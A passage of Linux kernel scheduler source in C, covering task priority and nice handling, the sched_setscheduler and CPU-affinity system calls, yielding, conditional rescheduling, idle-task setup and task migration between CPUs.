spin_unlock_irqrestore(&q->lock, flags);
return timeout;
}
void __sched interruptible_sleep_on(wait_queue_head_t *q)
{
sleep_on_common(q, TASK_INTERRUPTIBLE, MAX_SCHEDULE_TIMEOUT);
}
EXPORT_SYMBOL(interruptible_sleep_on);
long __sched
interruptible_sleep_on_timeout(wait_queue_head_t *q, long timeout)
{
return sleep_on_common(q, TASK_INTERRUPTIBLE, timeout);
}
EXPORT_SYMBOL(interruptible_sleep_on_timeout);
void __sched sleep_on(wait_queue_head_t *q)
{
sleep_on_common(q, TASK_UNINTERRUPTIBLE, MAX_SCHEDULE_TIMEOUT);
}
EXPORT_SYMBOL(sleep_on);
long __sched sleep_on_timeout(wait_queue_head_t *q, long timeout)
{
return sleep_on_common(q, TASK_UNINTERRUPTIBLE, timeout);
}
EXPORT_SYMBOL(sleep_on_timeout);
#ifdef CONFIG_RT_MUTEXES
/*
* rt_mutex_setprio - set the current priority of a task
* @p: task
* @prio: prio value (kernel-internal form)
*
* This function changes the 'effective' priority of a task. It does
* not touch ->normal_prio like __setscheduler().
*
* Used by the rt_mutex code to implement priority inheritance logic.
*/
void rt_mutex_setprio(struct task_struct *p, int prio)
{
int oldprio, on_rq, running;
struct rq *rq;
const struct sched_class *prev_class;
BUG_ON(prio < 0 || prio > MAX_PRIO);
rq = __task_rq_lock(p);
/*
* Idle task boosting is a nono in general. There is one
* exception, when PREEMPT_RT and NOHZ is active:
*
* The idle task calls get_next_timer_interrupt() and holds
* the timer wheel base->lock on the CPU and another CPU wants
* to access the timer (probably to cancel it). We can safely
* ignore the boosting request, as the idle CPU runs this code
* with interrupts disabled and will complete the lock
* protected section without being interrupted. So there is no
* real need to boost.
*/
if (unlikely(p == rq->idle)) {
WARN_ON(p != rq->curr);
WARN_ON(p->pi_blocked_on);
goto out_unlock;
}
trace_sched_pi_setprio(p, prio);
oldprio = p->prio;
prev_class = p->sched_class;
on_rq = p->on_rq;
running = task_current(rq, p);
if (on_rq)
dequeue_task(rq, p, 0);
if (running)
p->sched_class->put_prev_task(rq, p);
if (rt_prio(prio))
p->sched_class = &rt_sched_class;
else
p->sched_class = &fair_sched_class;
p->prio = prio;
if (running)
p->sched_class->set_curr_task(rq);
if (on_rq)
enqueue_task(rq, p, oldprio < prio ? ENQUEUE_HEAD : 0);
check_class_changed(rq, p, prev_class, oldprio);
out_unlock:
__task_rq_unlock(rq);
}
#endif
void set_user_nice(struct task_struct *p, long nice)
{
int old_prio, delta, on_rq;
unsigned long flags;
struct rq *rq;
if (TASK_NICE(p) == nice || nice < -20 || nice > 19)
return;
/*
* We have to be careful, if called from sys_setpriority(),
* the task might be in the middle of scheduling on another CPU.
*/
rq = task_rq_lock(p, &flags);
/*
* The RT priorities are set via sched_setscheduler(), but we still
* allow the 'normal' nice value to be set - but as expected
* it wont have any effect on scheduling until the task is
* SCHED_FIFO/SCHED_RR:
*/
if (task_has_rt_policy(p)) {
p->static_prio = NICE_TO_PRIO(nice);
goto out_unlock;
}
on_rq = p->on_rq;
if (on_rq)
dequeue_task(rq, p, 0);
p->static_prio = NICE_TO_PRIO(nice);
set_load_weight(p);
old_prio = p->prio;
p->prio = effective_prio(p);
delta = p->prio - old_prio;
if (on_rq) {
enqueue_task(rq, p, 0);
/*
* If the task increased its priority or is running and
* lowered its priority, then reschedule its CPU:
*/
if (delta < 0 || (delta > 0 && task_running(rq, p)))
resched_task(rq->curr);
}
out_unlock:
task_rq_unlock(rq, p, &flags);
}
EXPORT_SYMBOL(set_user_nice);
/*
* can_nice - check if a task can reduce its nice value
* @p: task
* @nice: nice value
*/
int can_nice(const struct task_struct *p, const int nice)
{
/* convert nice value [19,-20] to rlimit style value [1,40] */
int nice_rlim = 20 - nice;
return (nice_rlim <= task_rlimit(p, RLIMIT_NICE) ||
capable(CAP_SYS_NICE));
}
#ifdef __ARCH_WANT_SYS_NICE
/*
* sys_nice - change the priority of the current process.
* @increment: priority increment
*
* sys_setpriority is a more generic, but much slower function that
* does similar things.
*/
SYSCALL_DEFINE1(nice, int, increment)
{
long nice, retval;
/*
* Setpriority might change our priority at the same moment.
* We don't have to worry. Conceptually one call occurs first
* and we have a single winner.
*/
if (increment < -40)
increment = -40;
if (increment > 40)
increment = 40;
nice = TASK_NICE(current) + increment;
if (nice < -20)
nice = -20;
if (nice > 19)
nice = 19;
if (increment < 0 && !can_nice(current, nice))
return -EPERM;
retval = security_task_setnice(current, nice);
if (retval)
return retval;
set_user_nice(current, nice);
return 0;
}
#endif
/**
* task_prio - return the priority value of a given task.
* @p: the task in question.
*
* This is the priority value as seen by users in /proc.
* RT tasks are offset by -200. Normal tasks are centered
* around 0, value goes from -16 to +15.
*/
int task_prio(const struct task_struct *p)
{
return p->prio - MAX_RT_PRIO;
}
/**
* task_nice - return the nice value of a given task.
* @p: the task in question.
*/
int task_nice(const struct task_struct *p)
{
return TASK_NICE(p);
}
EXPORT_SYMBOL(task_nice);
/**
* idle_cpu - is a given cpu idle currently?
* @cpu: the processor in question.
*/
int idle_cpu(int cpu)
{
struct rq *rq = cpu_rq(cpu);
if (rq->curr != rq->idle)
return 0;
if (rq->nr_running)
return 0;
#ifdef CONFIG_SMP
if (!llist_empty(&rq->wake_list))
return 0;
#endif
return 1;
}
/**
* idle_task - return the idle task for a given cpu.
* @cpu: the processor in question.
*/
struct task_struct *idle_task(int cpu)
{
return cpu_rq(cpu)->idle;
}
/**
* find_process_by_pid - find a process with a matching PID value.
* @pid: the pid in question.
*/
static struct task_struct *find_process_by_pid(pid_t pid)
{
return pid ? find_task_by_vpid(pid) : current;
}
/* Actually do priority change: must hold rq lock. */
static void
__setscheduler(struct rq *rq, struct task_struct *p, int policy, int prio)
{
p->policy = policy;
p->rt_priority = prio;
p->normal_prio = normal_prio(p);
/* we are holding p->pi_lock already */
p->prio = rt_mutex_getprio(p);
if (rt_prio(p->prio))
p->sched_class = &rt_sched_class;
else
p->sched_class = &fair_sched_class;
set_load_weight(p);
}
/*
* check the target process has a UID that matches the current process's
*/
static bool check_same_owner(struct task_struct *p)
{
const struct cred *cred = current_cred(), *pcred;
bool match;
rcu_read_lock();
pcred = __task_cred(p);
if (cred->user->user_ns == pcred->user->user_ns)
match = (cred->euid == pcred->euid ||
cred->euid == pcred->uid);
else
match = false;
rcu_read_unlock();
return match;
}
static int __sched_setscheduler(struct task_struct *p, int policy,
const struct sched_param *param, bool user)
{
int retval, oldprio, oldpolicy = -1, on_rq, running;
unsigned long flags;
const struct sched_class *prev_class;
struct rq *rq;
int reset_on_fork;
/* may grab non-irq protected spin_locks */
BUG_ON(in_interrupt());
recheck:
/* double check policy once rq lock held */
if (policy < 0) {
reset_on_fork = p->sched_reset_on_fork;
policy = oldpolicy = p->policy;
} else {
reset_on_fork = !!(policy & SCHED_RESET_ON_FORK);
policy &= ~SCHED_RESET_ON_FORK;
if (policy != SCHED_FIFO && policy != SCHED_RR &&
policy != SCHED_NORMAL && policy != SCHED_BATCH &&
policy != SCHED_IDLE)
return -EINVAL;
}
/*
* Valid priorities for SCHED_FIFO and SCHED_RR are
* 1..MAX_USER_RT_PRIO-1, valid priority for SCHED_NORMAL,
* SCHED_BATCH and SCHED_IDLE is 0.
*/
if (param->sched_priority < 0 ||
(p->mm && param->sched_priority > MAX_USER_RT_PRIO-1) ||
(!p->mm && param->sched_priority > MAX_RT_PRIO-1))
return -EINVAL;
if (rt_policy(policy) != (param->sched_priority != 0))
return -EINVAL;
/*
* Allow unprivileged RT tasks to decrease priority:
*/
if (user && !capable(CAP_SYS_NICE)) {
if (rt_policy(policy)) {
unsigned long rlim_rtprio =
task_rlimit(p, RLIMIT_RTPRIO);
/* can't set/change the rt policy */
if (policy != p->policy && !rlim_rtprio)
return -EPERM;
/* can't increase priority */
if (param->sched_priority > p->rt_priority &&
param->sched_priority > rlim_rtprio)
return -EPERM;
}
/*
* Treat SCHED_IDLE as nice 20. Only allow a switch to
* SCHED_NORMAL if the RLIMIT_NICE would normally permit it.
*/
if (p->policy == SCHED_IDLE && policy != SCHED_IDLE) {
if (!can_nice(p, TASK_NICE(p)))
return -EPERM;
}
/* can't change other user's priorities */
if (!check_same_owner(p))
return -EPERM;
/* Normal users shall not reset the sched_reset_on_fork flag */
if (p->sched_reset_on_fork && !reset_on_fork)
return -EPERM;
}
if (user) {
retval = security_task_setscheduler(p);
if (retval)
return retval;
}
/*
* make sure no PI-waiters arrive (or leave) while we are
* changing the priority of the task:
*
* To be able to change p->policy safely, the appropriate
* runqueue lock must be held.
*/
rq = task_rq_lock(p, &flags);
/*
* Changing the policy of the stop threads its a very bad idea
*/
if (p == rq->stop) {
task_rq_unlock(rq, p, &flags);
return -EINVAL;
}
/*
* If not changing anything there's no need to proceed further:
*/
if (unlikely(policy == p->policy && (!rt_policy(policy) ||
param->sched_priority == p->rt_priority))) {
__task_rq_unlock(rq);
raw_spin_unlock_irqrestore(&p->pi_lock, flags);
return 0;
}
#ifdef CONFIG_RT_GROUP_SCHED
if (user) {
/*
* Do not allow realtime tasks into groups that have no runtime
* assigned.
*/
if (rt_bandwidth_enabled() && rt_policy(policy) &&
task_group(p)->rt_bandwidth.rt_runtime == 0 &&
!task_group_is_autogroup(task_group(p))) {
task_rq_unlock(rq, p, &flags);
return -EPERM;
}
}
#endif
/* recheck policy now with rq lock held */
if (unlikely(oldpolicy != -1 && oldpolicy != p->policy)) {
policy = oldpolicy = -1;
task_rq_unlock(rq, p, &flags);
goto recheck;
}
on_rq = p->on_rq;
running = task_current(rq, p);
if (on_rq)
dequeue_task(rq, p, 0);
if (running)
p->sched_class->put_prev_task(rq, p);
p->sched_reset_on_fork = reset_on_fork;
oldprio = p->prio;
prev_class = p->sched_class;
__setscheduler(rq, p, policy, param->sched_priority);
if (running)
p->sched_class->set_curr_task(rq);
if (on_rq)
enqueue_task(rq, p, 0);
check_class_changed(rq, p, prev_class, oldprio);
task_rq_unlock(rq, p, &flags);
rt_mutex_adjust_pi(p);
return 0;
}
/**
* sched_setscheduler - change the scheduling policy and/or RT priority of a thread.
* @p: the task in question.
* @policy: new policy.
* @param: structure containing the new RT priority.
*
* NOTE that the task may be already dead.
*/
int sched_setscheduler(struct task_struct *p, int policy,
const struct sched_param *param)
{
return __sched_setscheduler(p, policy, param, true);
}
EXPORT_SYMBOL_GPL(sched_setscheduler);
/**
* sched_setscheduler_nocheck - change the scheduling policy and/or RT priority of a thread from kernelspace.
* @p: the task in question.
* @policy: new policy.
* @param: structure containing the new RT priority.
*
* Just like sched_setscheduler, only don't bother checking if the
* current context has permission. For example, this is needed in
* stop_machine(): we create temporary high priority worker threads,
* but our caller might not have that capability.
*/
int sched_setscheduler_nocheck(struct task_struct *p, int policy,
const struct sched_param *param)
{
return __sched_setscheduler(p, policy, param, false);
}
static int
do_sched_setscheduler(pid_t pid, int policy, struct sched_param __user *param)
{
struct sched_param lparam;
struct task_struct *p;
int retval;
if (!param || pid < 0)
return -EINVAL;
if (copy_from_user(&lparam, param, sizeof(struct sched_param)))
return -EFAULT;
rcu_read_lock();
retval = -ESRCH;
p = find_process_by_pid(pid);
if (p != NULL)
retval = sched_setscheduler(p, policy, &lparam);
rcu_read_unlock();
return retval;
}
/**
* sys_sched_setscheduler - set/change the scheduler policy and RT priority
* @pid: the pid in question.
* @policy: new policy.
* @param: structure containing the new RT priority.
*/
SYSCALL_DEFINE3(sched_setscheduler, pid_t, pid, int, policy,
struct sched_param __user *, param)
{
/* negative values for policy are not valid */
if (policy < 0)
return -EINVAL;
return do_sched_setscheduler(pid, policy, param);
}
/**
* sys_sched_setparam - set/change the RT priority of a thread
* @pid: the pid in question.
* @param: structure containing the new RT priority.
*/
SYSCALL_DEFINE2(sched_setparam, pid_t, pid, struct sched_param __user *, param)
{
return do_sched_setscheduler(pid, -1, param);
}
/**
* sys_sched_getscheduler - get the policy (scheduling class) of a thread
* @pid: the pid in question.
*/
SYSCALL_DEFINE1(sched_getscheduler, pid_t, pid)
{
struct task_struct *p;
int retval;
if (pid < 0)
return -EINVAL;
retval = -ESRCH;
rcu_read_lock();
p = find_process_by_pid(pid);
if (p) {
retval = security_task_getscheduler(p);
if (!retval)
retval = p->policy
| (p->sched_reset_on_fork ? SCHED_RESET_ON_FORK : 0);
}
rcu_read_unlock();
return retval;
}
/**
* sys_sched_getparam - get the RT priority of a thread
* @pid: the pid in question.
* @param: structure containing the RT priority.
*/
SYSCALL_DEFINE2(sched_getparam, pid_t, pid, struct sched_param __user *, param)
{
struct sched_param lp;
struct task_struct *p;
int retval;
if (!param || pid < 0)
return -EINVAL;
rcu_read_lock();
p = find_process_by_pid(pid);
retval = -ESRCH;
if (!p)
goto out_unlock;
retval = security_task_getscheduler(p);
if (retval)
goto out_unlock;
lp.sched_priority = p->rt_priority;
rcu_read_unlock();
/*
* This one might sleep, we cannot do it with a spinlock held ...
*/
retval = copy_to_user(param, &lp, sizeof(*param)) ? -EFAULT : 0;
return retval;
out_unlock:
rcu_read_unlock();
return retval;
}
long sched_setaffinity(pid_t pid, const struct cpumask *in_mask)
{
cpumask_var_t cpus_allowed, new_mask;
struct task_struct *p;
int retval;
rcu_read_lock();
p = find_process_by_pid(pid);
if (!p) {
rcu_read_unlock();
return -ESRCH;
}
/* Prevent p going away */
get_task_struct(p);
rcu_read_unlock();
if (!alloc_cpumask_var(&cpus_allowed, GFP_KERNEL)) {
retval = -ENOMEM;
goto out_put_task;
}
if (!alloc_cpumask_var(&new_mask, GFP_KERNEL)) {
retval = -ENOMEM;
goto out_free_cpus_allowed;
}
retval = -EPERM;
if (!check_same_owner(p) && !ns_capable(task_user_ns(p), CAP_SYS_NICE))
goto out_unlock;
retval = security_task_setscheduler(p);
if (retval)
goto out_unlock;
cpuset_cpus_allowed(p, cpus_allowed);
cpumask_and(new_mask, in_mask, cpus_allowed);
again:
retval = set_cpus_allowed_ptr(p, new_mask);
if (!retval) {
cpuset_cpus_allowed(p, cpus_allowed);
if (!cpumask_subset(new_mask, cpus_allowed)) {
/*
* We must have raced with a concurrent cpuset
* update. Just reset the cpus_allowed to the
* cpuset's cpus_allowed
*/
cpumask_copy(new_mask, cpus_allowed);
goto again;
}
}
out_unlock:
free_cpumask_var(new_mask);
out_free_cpus_allowed:
free_cpumask_var(cpus_allowed);
out_put_task:
put_task_struct(p);
return retval;
}
static int get_user_cpu_mask(unsigned long __user *user_mask_ptr, unsigned len,
struct cpumask *new_mask)
{
if (len < cpumask_size())
cpumask_clear(new_mask);
else if (len > cpumask_size())
len = cpumask_size();
return copy_from_user(new_mask, user_mask_ptr, len) ? -EFAULT : 0;
}
/**
* sys_sched_setaffinity - set the cpu affinity of a process
* @pid: pid of the process
* @len: length in bytes of the bitmask pointed to by user_mask_ptr
* @user_mask_ptr: user-space pointer to the new cpu mask
*/
SYSCALL_DEFINE3(sched_setaffinity, pid_t, pid, unsigned int, len,
unsigned long __user *, user_mask_ptr)
{
cpumask_var_t new_mask;
int retval;
if (!alloc_cpumask_var(&new_mask, GFP_KERNEL))
return -ENOMEM;
retval = get_user_cpu_mask(user_mask_ptr, len, new_mask);
if (retval == 0)
retval = sched_setaffinity(pid, new_mask);
free_cpumask_var(new_mask);
return retval;
}
long sched_getaffinity(pid_t pid, struct cpumask *mask)
{
struct task_struct *p;
unsigned long flags;
int retval;
rcu_read_lock();
retval = -ESRCH;
p = find_process_by_pid(pid);
if (!p)
goto out_unlock;
retval = security_task_getscheduler(p);
if (retval)
goto out_unlock;
raw_spin_lock_irqsave(&p->pi_lock, flags);
cpumask_and(mask, &p->cpus_allowed, cpu_active_mask);
raw_spin_unlock_irqrestore(&p->pi_lock, flags);
out_unlock:
rcu_read_unlock();
return retval;
}
/**
* sys_sched_getaffinity - get the cpu affinity of a process
* @pid: pid of the process
* @len: length in bytes of the bitmask pointed to by user_mask_ptr
* @user_mask_ptr: user-space pointer to hold the current cpu mask
*/
SYSCALL_DEFINE3(sched_getaffinity, pid_t, pid, unsigned int, len,
unsigned long __user *, user_mask_ptr)
{
int ret;
cpumask_var_t mask;
if ((len * BITS_PER_BYTE) < nr_cpu_ids)
return -EINVAL;
if (len & (sizeof(unsigned long)-1))
return -EINVAL;
if (!alloc_cpumask_var(&mask, GFP_KERNEL))
return -ENOMEM;
ret = sched_getaffinity(pid, mask);
if (ret == 0) {
size_t retlen = min_t(size_t, len, cpumask_size());
if (copy_to_user(user_mask_ptr, mask, retlen))
ret = -EFAULT;
else
ret = retlen;
}
free_cpumask_var(mask);
return ret;
}
/**
* sys_sched_yield - yield the current processor to other threads.
*
* This function yields the current CPU to other tasks. If there are no
* other threads running on this CPU then this function will return.
*/
SYSCALL_DEFINE0(sched_yield)
{
struct rq *rq = this_rq_lock();
schedstat_inc(rq, yld_count);
current->sched_class->yield_task(rq);
/*
* Since we are going to call schedule() anyway, there's
* no need to preempt or enable interrupts:
*/
__release(rq->lock);
spin_release(&rq->lock.dep_map, 1, _THIS_IP_);
do_raw_spin_unlock(&rq->lock);
sched_preempt_enable_no_resched();
schedule();
return 0;
}
static inline int should_resched(void)
{
return need_resched() && !(preempt_count() & PREEMPT_ACTIVE);
}
static void __cond_resched(void)
{
add_preempt_count(PREEMPT_ACTIVE);
__schedule();
sub_preempt_count(PREEMPT_ACTIVE);
}
int __sched _cond_resched(void)
{
if (should_resched()) {
__cond_resched();
return 1;
}
return 0;
}
EXPORT_SYMBOL(_cond_resched);
/*
* __cond_resched_lock() - if a reschedule is pending, drop the given lock,
* call schedule, and on return reacquire the lock.
*
* This works OK both with and without CONFIG_PREEMPT. We do strange low-level
* operations here to prevent schedule() from being called twice (once via
* spin_unlock(), once by hand).
*/
int __cond_resched_lock(spinlock_t *lock)
{
int resched = should_resched();
int ret = 0;
lockdep_assert_held(lock);
if (spin_needbreak(lock) || resched) {
spin_unlock(lock);
if (resched)
__cond_resched();
else
cpu_relax();
ret = 1;
spin_lock(lock);
}
return ret;
}
EXPORT_SYMBOL(__cond_resched_lock);
int __sched __cond_resched_softirq(void)
{
BUG_ON(!in_softirq());
if (should_resched()) {
local_bh_enable();
__cond_resched();
local_bh_disable();
return 1;
}
return 0;
}
EXPORT_SYMBOL(__cond_resched_softirq);
/**
* yield - yield the current processor to other threads.
*
* Do not ever use this function, there's a 99% chance you're doing it wrong.
*
* The scheduler is at all times free to pick the calling task as the most
* eligible task to run, if removing the yield() call from your code breaks
* it, its already broken.
*
* Typical broken usage is:
*
* while (!event)
* yield();
*
* where one assumes that yield() will let 'the other' process run that will
* make event true. If the current task is a SCHED_FIFO task that will never
* happen. Never use yield() as a progress guarantee!!
*
* If you want to use yield() to wait for something, use wait_event().
* If you want to use yield() to be 'nice' for others, use cond_resched().
* If you still want to use yield(), do not!
*/
void __sched yield(void)
{
set_current_state(TASK_RUNNING);
sys_sched_yield();
}
EXPORT_SYMBOL(yield);
/**
* yield_to - yield the current processor to another thread in
* your thread group, or accelerate that thread toward the
* processor it's on.
* @p: target task
* @preempt: whether task preemption is allowed or not
*
* It's the caller's job to ensure that the target task struct
* can't go away on us before we can do any checks.
*
* Returns true if we indeed boosted the target task.
*/
bool __sched yield_to(struct task_struct *p, bool preempt)
{
struct task_struct *curr = current;
struct rq *rq, *p_rq;
unsigned long flags;
bool yielded = 0;
local_irq_save(flags);
rq = this_rq();
again:
p_rq = task_rq(p);
double_rq_lock(rq, p_rq);
while (task_rq(p) != p_rq) {
double_rq_unlock(rq, p_rq);
goto again;
}
if (!curr->sched_class->yield_to_task)
goto out;
if (curr->sched_class != p->sched_class)
goto out;
if (task_running(p_rq, p) || p->state)
goto out;
yielded = curr->sched_class->yield_to_task(rq, p, preempt);
if (yielded) {
schedstat_inc(rq, yld_count);
/*
* Make p's CPU reschedule; pick_next_entity takes care of
* fairness.
*/
if (preempt && rq != p_rq)
resched_task(p_rq->curr);
} else {
/*
* We might have set it in task_yield_fair(), but are
* not going to schedule(), so don't want to skip
* the next update.
*/
rq->skip_clock_update = 0;
}
out:
double_rq_unlock(rq, p_rq);
local_irq_restore(flags);
if (yielded)
schedule();
return yielded;
}
EXPORT_SYMBOL_GPL(yield_to);
/*
* This task is about to go to sleep on IO. Increment rq->nr_iowait so
* that process accounting knows that this is a task in IO wait state.
*/
void __sched io_schedule(void)
{
struct rq *rq = raw_rq();
delayacct_blkio_start();
atomic_inc(&rq->nr_iowait);
blk_flush_plug(current);
current->in_iowait = 1;
schedule();
current->in_iowait = 0;
atomic_dec(&rq->nr_iowait);
delayacct_blkio_end();
}
EXPORT_SYMBOL(io_schedule);
long __sched io_schedule_timeout(long timeout)
{
struct rq *rq = raw_rq();
long ret;
delayacct_blkio_start();
atomic_inc(&rq->nr_iowait);
blk_flush_plug(current);
current->in_iowait = 1;
ret = schedule_timeout(timeout);
current->in_iowait = 0;
atomic_dec(&rq->nr_iowait);
delayacct_blkio_end();
return ret;
}
/**
* sys_sched_get_priority_max - return maximum RT priority.
* @policy: scheduling class.
*
* this syscall returns the maximum rt_priority that can be used
* by a given scheduling class.
*/
SYSCALL_DEFINE1(sched_get_priority_max, int, policy)
{
int ret = -EINVAL;
switch (policy) {
case SCHED_FIFO:
case SCHED_RR:
ret = MAX_USER_RT_PRIO-1;
break;
case SCHED_NORMAL:
case SCHED_BATCH:
case SCHED_IDLE:
ret = 0;
break;
}
return ret;
}
/**
* sys_sched_get_priority_min - return minimum RT priority.
* @policy: scheduling class.
*
* this syscall returns the minimum rt_priority that can be used
* by a given scheduling class.
*/
SYSCALL_DEFINE1(sched_get_priority_min, int, policy)
{
int ret = -EINVAL;
switch (policy) {
case SCHED_FIFO:
case SCHED_RR:
ret = 1;
break;
case SCHED_NORMAL:
case SCHED_BATCH:
case SCHED_IDLE:
ret = 0;
}
return ret;
}
/**
* sys_sched_rr_get_interval - return the default timeslice of a process.
* @pid: pid of the process.
* @interval: userspace pointer to the timeslice value.
*
* this syscall writes the default timeslice value of a given process
* into the user-space timespec buffer. A value of '0' means infinity.
*/
SYSCALL_DEFINE2(sched_rr_get_interval, pid_t, pid,
struct timespec __user *, interval)
{
struct task_struct *p;
unsigned int time_slice;
unsigned long flags;
struct rq *rq;
int retval;
struct timespec t;
if (pid < 0)
return -EINVAL;
retval = -ESRCH;
rcu_read_lock();
p = find_process_by_pid(pid);
if (!p)
goto out_unlock;
retval = security_task_getscheduler(p);
if (retval)
goto out_unlock;
rq = task_rq_lock(p, &flags);
time_slice = p->sched_class->get_rr_interval(rq, p);
task_rq_unlock(rq, p, &flags);
rcu_read_unlock();
jiffies_to_timespec(time_slice, &t);
retval = copy_to_user(interval, &t, sizeof(t)) ? -EFAULT : 0;
return retval;
out_unlock:
rcu_read_unlock();
return retval;
}
static const char stat_nam[] = TASK_STATE_TO_CHAR_STR;
void sched_show_task(struct task_struct *p)
{
unsigned long free = 0;
unsigned state;
state = p->state ? __ffs(p->state) + 1 : 0;
printk(KERN_INFO "%-15.15s %c", p->comm,
state < sizeof(stat_nam) - 1 ? stat_nam[state] : '?');
#if BITS_PER_LONG == 32
if (state == TASK_RUNNING)
printk(KERN_CONT " running ");
else
printk(KERN_CONT " %08lx ", thread_saved_pc(p));
#else
if (state == TASK_RUNNING)
printk(KERN_CONT " running task ");
else
printk(KERN_CONT " %016lx ", thread_saved_pc(p));
#endif
#ifdef CONFIG_DEBUG_STACK_USAGE
free = stack_not_used(p);
#endif
printk(KERN_CONT "%5lu %5d %6d 0x%08lx\n", free,
task_pid_nr(p), task_pid_nr(rcu_dereference(p->real_parent)),
(unsigned long)task_thread_info(p)->flags);
show_stack(p, NULL);
}
void show_state_filter(unsigned long state_filter)
{
struct task_struct *g, *p;
#if BITS_PER_LONG == 32
printk(KERN_INFO
" task PC stack pid father\n");
#else
printk(KERN_INFO
" task PC stack pid father\n");
#endif
rcu_read_lock();
do_each_thread(g, p) {
/*
* reset the NMI-timeout, listing all files on a slow
* console might take a lot of time:
*/
touch_nmi_watchdog();
if (!state_filter || (p->state & state_filter))
sched_show_task(p);
} while_each_thread(g, p);
touch_all_softlockup_watchdogs();
#ifdef CONFIG_SYSRQ_SCHED_DEBUG
sysrq_sched_debug_show();
#endif
rcu_read_unlock();
/*
* Only show locks if all tasks are dumped:
*/
if (!state_filter)
debug_show_all_locks();
}
void __cpuinit init_idle_bootup_task(struct task_struct *idle)
{
idle->sched_class = &idle_sched_class;
}
/**
* init_idle - set up an idle thread for a given CPU
* @idle: task in question
* @cpu: cpu the idle task belongs to
*
* NOTE: this function does not set the idle thread's NEED_RESCHED
* flag, to make booting more robust.
*/
void __cpuinit init_idle(struct task_struct *idle, int cpu)
{
struct rq *rq = cpu_rq(cpu);
unsigned long flags;
raw_spin_lock_irqsave(&rq->lock, flags);
__sched_fork(idle);
idle->state = TASK_RUNNING;
idle->se.exec_start = sched_clock();
do_set_cpus_allowed(idle, cpumask_of(cpu));
/*
* We're having a chicken and egg problem, even though we are
* holding rq->lock, the cpu isn't yet set to this cpu so the
* lockdep check in task_group() will fail.
*
* Similar case to sched_fork(). / Alternatively we could
* use task_rq_lock() here and obtain the other rq->lock.
*
* Silence PROVE_RCU
*/
rcu_read_lock();
__set_task_cpu(idle, cpu);
rcu_read_unlock();
rq->curr = rq->idle = idle;
#if defined(CONFIG_SMP)
idle->on_cpu = 1;
#endif
raw_spin_unlock_irqrestore(&rq->lock, flags);
/* Set the preempt count _outside_ the spinlocks! */
task_thread_info(idle)->preempt_count = 0;
/*
* The idle tasks have their own, simple scheduling class:
*/
idle->sched_class = &idle_sched_class;
ftrace_graph_init_idle_task(idle, cpu);
#if defined(CONFIG_SMP)
sprintf(idle->comm, "%s/%d", INIT_TASK_COMM, cpu);
#endif
}
#ifdef CONFIG_SMP
void do_set_cpus_allowed(struct task_struct *p, const struct cpumask *new_mask)
{
if (p->sched_class && p->sched_class->set_cpus_allowed)
p->sched_class->set_cpus_allowed(p, new_mask);
cpumask_copy(&p->cpus_allowed, new_mask);
p->nr_cpus_allowed = cpumask_weight(new_mask);
}
/*
* This is how migration works:
*
* 1) we invoke migration_cpu_stop() on the target CPU using
* stop_one_cpu().
* 2) stopper starts to run (implicitly forcing the migrated thread
* off the CPU)
* 3) it checks whether the migrated task is still in the wrong runqueue.
* 4) if it's in the wrong runqueue then the migration thread removes
* it and puts it into the right queue.
* 5) stopper completes and stop_one_cpu() returns and the migration
* is done.
*/
/*
* Change a given task's CPU affinity. Migrate the thread to a
* proper CPU and schedule it away if the CPU it's executing on
* is removed from the allowed bitmask.
*
* NOTE: the caller must have a valid reference to the task, the
* task must not exit() & deallocate itself prematurely. The
* call is not atomic; no spinlocks may be held.
*/
int set_cpus_allowed_ptr(struct task_struct *p, const struct cpumask *new_mask)
{
unsigned long flags;
struct rq *rq;
unsigned int dest_cpu;
int ret = 0;
rq = task_rq_lock(p, &flags);
if (cpumask_equal(&p->cpus_allowed, new_mask))
goto out;
if (!cpumask_intersects(new_mask, cpu_active_mask)) {
ret = -EINVAL;
goto out;
}
if (unlikely((p->flags & PF_THREAD_BOUND) && p != current)) {
ret = -EINVAL;
goto out;
}
do_set_cpus_allowed(p, new_mask);
/* Can the task run on the task's current CPU? If so, we're done */
if (cpumask_test_cpu(task_cpu(p), new_mask))
goto out;
dest_cpu = cpumask_any_and(cpu_active_mask, new_mask);
if (p->on_rq) {
struct migration_arg arg = { p, dest_cpu };
/* Need help from migration thread: drop lock and wait. */
task_rq_unlock(rq, p, &flags);
stop_one_cpu(cpu_of(rq), migration_cpu_stop, &arg);
tlb_migrate_finish(p->mm);
return 0;
}
out:
task_rq_unlock(rq, p, &flags);
return ret;
}
EXPORT_SYMBOL_GPL(set_cpus_allowed_ptr);
/*
* Move (not current) task off this cpu, onto dest cpu. We're doing
* this because either it can't run here any more (set_cpus_allowed()
* away from this CPU, or CPU going down), or because we're
* attempting to rebalance this task on exec (sched_exec).
*
* So we race with normal scheduler movements, but that's OK, as long
* as the task is no longer on this CPU.
*
* Returns non-zero if task was successfully migrated.
*/
static int __migrate_task(struct task_struct *p, int src_cpu, int dest_cpu)
{
struct rq *rq_dest, *rq_src;
bool moved = false;
int ret = 0;
if (unlikely(!cpu_active(dest_cpu)))
return ret;
rq_src = cpu_rq(src_cpu);
rq_dest = cpu_rq(dest_cpu);
raw_spin_lock(&p->pi_lock);
double_rq_lock(rq_src, rq_dest);
/* Already moved. */
if (task_cpu(p) != src_cpu)
goto done;
/* Affinity changed (again). */
if (!cpumask_test_cpu(dest_cpu, tsk_cpus_allowed(p)))
goto fail;
/*
* If we're not on a rq, the next wake-up will ensure we're
* placed properly.
*/
if (p->on_rq) {
dequeue_task(rq_src, p, 0);
set_task_cpu(p, dest_cpu);
enqueue_task(rq_dest, p, 0);
check_preempt_curr(rq_dest, p, 0);
moved = true;
}
done:
ret = 1;
fail:
double_rq_unlock(rq_src, rq_dest);
raw_spin_unlock(&p->pi_lock);
if (moved && task_notify_on_migrate(p)) {
struct migration_notify_data mnd;
mnd.src_cpu = src_cpu;
mnd.dest_cpu = dest_cpu;
mnd.load = pct_task_load(p);
atomic_notifier_call_chain(&migration_notifier_head,
0, (void *)&mnd);
}
return ret;
}
/*
* migration_cpu_stop - this will be executed by a highprio stopper thread
* and performs thread migration by bumping thread off CPU then
* 'pushing' onto another runqueue.
*/
static int migration_cpu_stop(void *data)
{
struct migration_arg *arg = data;
/*
* The original target cpu might have gone down and we might
* be on another cpu but it doesn't matter.
*/
local_irq_disable();
__migrate_task(arg->task, raw_smp_processor_id(), arg->dest_cpu);
local_irq_enable();
return 0;
}
#ifdef CONFIG_HOTPLUG_CPU
/*
* Ensures that the idle task is using init_mm right before its cpu goes
* offline.
*/
void idle_task_exit(void)
{
struct mm_struct *mm = current->active_mm;
BUG_ON(cpu_online(smp_processor_id()));
if (mm != &init_mm)
switch_mm(mm, &init_mm, current);
